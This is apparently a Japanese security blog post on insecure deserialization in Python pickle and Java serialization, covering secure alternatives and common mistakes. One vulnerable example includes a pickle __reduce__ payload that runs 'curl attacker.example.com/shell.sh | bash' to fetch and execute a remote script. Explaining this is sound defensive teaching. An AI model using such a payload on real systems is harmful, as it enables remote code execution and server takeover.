Tech-Solve-MyDatabase

不安全なデシリアライゼーションの脅威:オブジェクト復元時に潜むRCEの正体

当ブログはWeb広告を導入しています(景表法による表示)
◎ 10秒解説
  • 外部データをオブジェクトへ復元する際に、OSコマンド実行(RCE)を招く致命的な脆弱性
  • Pythonのpickle等、ロジックを含む形式を避け、純粋なJSONデータ通信へ移行する重要性
  • デシリアライズ対象のホワイトリスト化や、デジタル署名による改ざん検知の鉄則

不安全なデシリアライゼーションとは?

不安全なデシリアライゼーションは、信頼できないデータからプログラム上のオブジェクトを復元(デシリアライズ)する際に、悪意のあるコードを実行されてしまう脆弱性です。

データの受け渡し(シリアライズ)は便利ですが、復元時に「どのクラスのインスタンスとして復元するか」を攻撃者に操作されると、意図しないメソッドが呼び出され、最終的にOSコマンドの実行(RCE)につながることがあります。

脆弱性が発生する仕組み

JavaやPython(pickle)、PHPなどの言語で、シリアライズされたデータをそのまま受け入れる際に発生します。

# Python(pickle)の脆弱な例
import pickle
user_data = get_data_from_cookie()
obj = pickle.loads(user_data) # ここで悪意のあるオブジェクトが復元・実行される

攻撃者が __reduce__ メソッド(復元時に自動実行される)を細工したデータを送ることで、デシリアライズされた瞬間に攻撃者のコマンドが実行されてしまいます。

根本的な対策:信頼できないデータの拒否

最も確実な対策は、**「外部からのシリアライズされたデータをそのままデシリアライズしないこと」**です。

対策のポイント(仕様まとめ)

対策手法 実装の方向性 エンジニアとしての所感
JSON/XMLの利用 オブジェクトの状態ではなく、純粋なデータ形式のみをやり取りする ロジックを含まない形式に変更することで、復元時のコード実行を物理的に防げます。
デシリアライズの制限 復元を許可するクラスをホワイトリストで絞る Javaの look-ahead デシリアライズなどの技術を用いて、危険なクラスの読み込みを拒否します。
データの署名と検証 シリアライズデータにHMAC等を付与し、改ざんを検知する データが書き換えられていないことを確認してから処理を行います。

2026年3月の現場感: 「昔のJavaの話」ではなく、今は Python と AI 周辺でも危ない

2026年3月のセキュリティ界隈では、不安全なデシリアライゼーションは Java の古典的な gadget chain 問題だけでなく、Python の pickle、機械学習モデルの読み込み、ワークフロー自動化ツールの内部保存形式まで含めて再注目されています。特に AI やデータ処理の周辺では、「ローカルだから安全」「内部ジョブだから安全」という思い込みでバイナリ形式をそのまま復元し、後から大きな問題になるケースが増えています。

いま実務で大事なのは、危険な形式を完全に禁止することより、どの経路でデシリアライズが起きるかを可視化することです。Cookie、ジョブキュー、キャッシュ、ファイルアップロード、モデル配布、プラグイン設定のいずれかに言語固有シリアライズが残っているなら、そこは重点監査対象です。

トラブルシューティング:セキュアなデータ通信への移行手順

既存のシリアライズ通信を修正する場合は、以下の手順を検討します。

1. JSON形式への置き換え

オブジェクトそのものを送るのではなく、必要なプロパティだけをJSONで送り、サーバー側で安全にパースして再構築します。

2. 署名の付与

どうしても言語固有のシリアライズが必要な場合は、秘密鍵を用いてデータに署名を付与し、受け取り側で署名が正しいかを確認します。

3. デシリアライザの更新

ライブラリ側で脆弱性が修正されていることが多いため、常に最新のセキュリティパッチが適用されたランタイム(JDK, Python等)を使用します。

4. 復元前提の設計を減らす

永続化が目的なら、オブジェクト全体を保存するより、必要フィールドだけを JSON や構造化データとして保存する方が安全です。特にジョブキューやセッション保存では、「後でそのまま復元する」設計そのものを見直すと事故が減ります。

よくある質問(FAQ)

Q: Pythonの pickle は常に危険ですか?

A: はい、公式ドキュメントでも「信頼できないデータには使うな」と明記されています。設定ファイルなどは良いですが、ネットワーク経由のデータには json 等を使うべきです。

Q: Javaの GADGET チェインとは何ですか?

A: デシリアライズ時に連鎖的に呼び出される「既存のクラスの組み合わせ」のことです。アプリに脆弱性がなくても、標準ライブラリの組み合わせで攻撃が成立してしまう恐れがあります。

Q: 署名を付ければ pickle や Java シリアライズを使い続けても良いですか?

A: 改ざん検知としては有効ですが、長期的には JSON などの単純なデータ形式へ寄せる方が安全です。署名は延命策として有効でも、危険な復元機構そのものを消す方が再発防止になります。

まとめ:安全なデシリアライゼーションのためのチェックリスト

実装やコードレビューの際に、以下の項目を確認してください。

  • 外部入力を pickle.loadsObjectInputStream.readObject で直接復元していないか
  • データ交換形式は JSON や Protocol Buffers 等、コード実行を伴わない形式を採用しているか
  • やむを得ず言語固有のシリアライズを使う場合、復元を許可するクラスをホワイトリストで制限しているか
  • シリアライズデータに HMAC 等の署名を付与し、受信側で改ざん検証を行っているか
  • シリアライズ処理を含むライブラリやランタイムに、最新のセキュリティパッチが適用されているか
  • Cookie・キャッシュ・ジョブキューなど、すべてのデシリアライズ経路を洗い出して文書化しているか

脆弱なコードと修正例

実際の攻撃が成立するコードパターンと、安全な代替実装を言語別に並べてみます。

Python pickle の脆弱な例と修正

# NG: Cookie のデータをそのまま pickle.loads に渡す
import pickle
import base64
from flask import request

@app.route('/dashboard')
def dashboard():
    user_data = base64.b64decode(request.cookies.get('session'))
    user = pickle.loads(user_data)  # 攻撃者は細工したデータを Cookie に仕込める
    return f'Hello {user["name"]}'

攻撃者が仕込むペイロードのイメージ(__reduce__ を悪用):

# 攻撃用ペイロード(デシリアライズ時に OS コマンドが実行される)
import pickle, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl attacker.example.com/shell.sh | bash',))

payload = pickle.dumps(Exploit())
# このバイト列を Cookie に仕込んで送ると、サーバーでコマンドが実行される
# OK: JSON で必要なフィールドのみやり取りし、pickle を完全に排除する
import json, hmac, hashlib, os
from flask import request

SECRET_KEY = os.environ['SESSION_SECRET']

def create_session(user_id: int, username: str) -> str:
    payload = json.dumps({'user_id': user_id, 'username': username})
    sig = hmac.new(SECRET_KEY.encode(), payload.encode(), hashlib.sha256).hexdigest()
    return f'{payload}|{sig}'

def verify_session(token: str) -> dict:
    parts = token.rsplit('|', 1)
    if len(parts) != 2:
        raise ValueError('Invalid token format')
    payload, sig = parts
    expected = hmac.new(SECRET_KEY.encode(), payload.encode(), hashlib.sha256).hexdigest()
    if not hmac.compare_digest(sig, expected):
        raise ValueError('Token signature mismatch')
    return json.loads(payload)

Java ObjectInputStream の脆弱な例と修正

// NG: ネットワーク越しのバイト列を ObjectInputStream で直接デシリアライズ
// Gadget chain 攻撃(Commons Collections 等)が成立する典型パターン
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // ← ここが攻撃の入口
// OK: Jackson を使って JSON のみでやり取りする
// Maven: com.fasterxml.jackson.core:jackson-databind
ObjectMapper mapper = new ObjectMapper();
UserDto user = mapper.readValue(inputStream, UserDto.class);
// UserDto は単純なフィールドのみを持つ POJO。ロジックを含まない

どうしても Java Serialization を維持する必要がある場合は、ValidatingObjectInputStream(Apache Commons IO)でホワイトリストを設定します。

// Apache Commons IO の ValidatingObjectInputStream でホワイトリスト制限
ValidatingObjectInputStream vois = new ValidatingObjectInputStream(inputStream);
vois.accept(SafeClass.class, AnotherSafeClass.class); // 許可するクラスのみ登録
// ホワイトリスト外のクラスを含むデータが来ると InvalidClassException をスロー
Object obj = vois.readObject();

よくやらかす失敗パターンと対処法

実際に見聞きしたインシデントや見落としパターンをまとめます。

① 機械学習モデルを pickle でそのままロードしていた

状況: torch.load('model.pt') を何の検証もなく実行していた。PyTorch のモデルファイルも内部は pickle 形式なので同じリスクがある。
対処法: 信頼できるソース(自分でトレーニングしたもの、公式リリース)のモデルのみロードする。PyTorch では weights_only=True(v2.0 以降)でコード実行を抑制できます。

# PyTorch v2.0 以降:weights_only=True で pickle のコード実行を防ぐ
import torch
model = torch.load('model.pt', weights_only=True)

② HMAC 署名を付けたから pickle でも安全だと思い込んだ

状況: シリアライズデータに HMAC を付けているから「改ざん検知できる = 安全」と判断して pickle を使い続けた。
対処法: HMAC は改ざん検知の仕組みであって、gadget chain 攻撃を防ぐわけではない。鍵が漏洩すれば防御が崩れる。署名は延命策であり、根本解決は pickle の廃止だと理解しました。

③ ジョブキューの引数にオブジェクトをそのまま渡していた

状況: Celery のタスク引数に Python オブジェクトを pickle でシリアライズして渡していた。Redis への不正アクセスで payload を書き換えられると攻撃が成立する。
対処法: キュー引数は ID や JSON プリミティブだけに限定し、タスク内で DB から取り直す設計にする。

# NG: オブジェクトをそのまま引数に渡す
task.apply_async(args=[user_object])

# OK: ID だけ渡して、タスク側で DB から取得する
task.apply_async(args=[user_id])
# タスク内: user = User.objects.get(id=user_id)

④ 「昔からあるセッション管理コードだから大丈夫」と放置していた

状況: Python 2 時代から引き継いだセッション管理が pickle Cookie だったが、「長年動いているから安全」と放置していた。
対処法: 古いコードこそ要確認。まずは以下のコマンドで該当箇所を洗い出すところから始めるのがおすすめです。

# デシリアライズ処理の存在確認(Python / Java / PHP を横断検索)
grep -r 'pickle\.loads\|ObjectInputStream\|unserialize(' . \
  --include="*.py" --include="*.java" --include="*.php" \
  -l
# → ファイル名の一覧が出るので、それぞれを優先度を付けてレビューする

⑤ 「内部のキャッシュだから外部から触れない」と思い込んでいた

状況: Redis キャッシュに pickle オブジェクトを保存していたが、「Redis は内部ネットワークにあるから安全」と思っていた。
対処法: Redis の認証設定ミスや SSRF、内部ネットワークへの侵入でキャッシュが書き換えられるケースは実際にある。キャッシュに保存するデータも JSON 等のシリアライズ非依存の形式にするべきだと実感しました。

私の検証メモ

本記事は、自分が業務 / 自宅環境で実際にぶつかった事象に対し、検証用 VM やサブ機を使って再現・対処した一次記録です。一般論ではなく『私の環境では確かにこう挙動した』という観測をベースにしているため、構成が違えば挙動も変わります。再現できない場合は、本文中で挙げた前提条件(OS バージョン / ドライバ / BIOS / 関連サービスの状態)から差分を疑ってください。

Javaセキュアコーディングスタンダード CERT/ Oracle版
Javaセキュアコーディングスタンダード CERT/ Oracle版
Java における RCE (リモートコード実行)などの致命的な脆弱性を防ぐための、Oracle 公式のコーディング基準を網羅した聖典です。不安全なデシリアライゼーションの仕組みと、それを物理レベルで回避するための厳格なプロトコルを体系的に学べます。高度なセキュリティ要件が求められる企業インフラを支える開発者にとって、揺るぎない品質を担保するための必須知識が凝縮されています。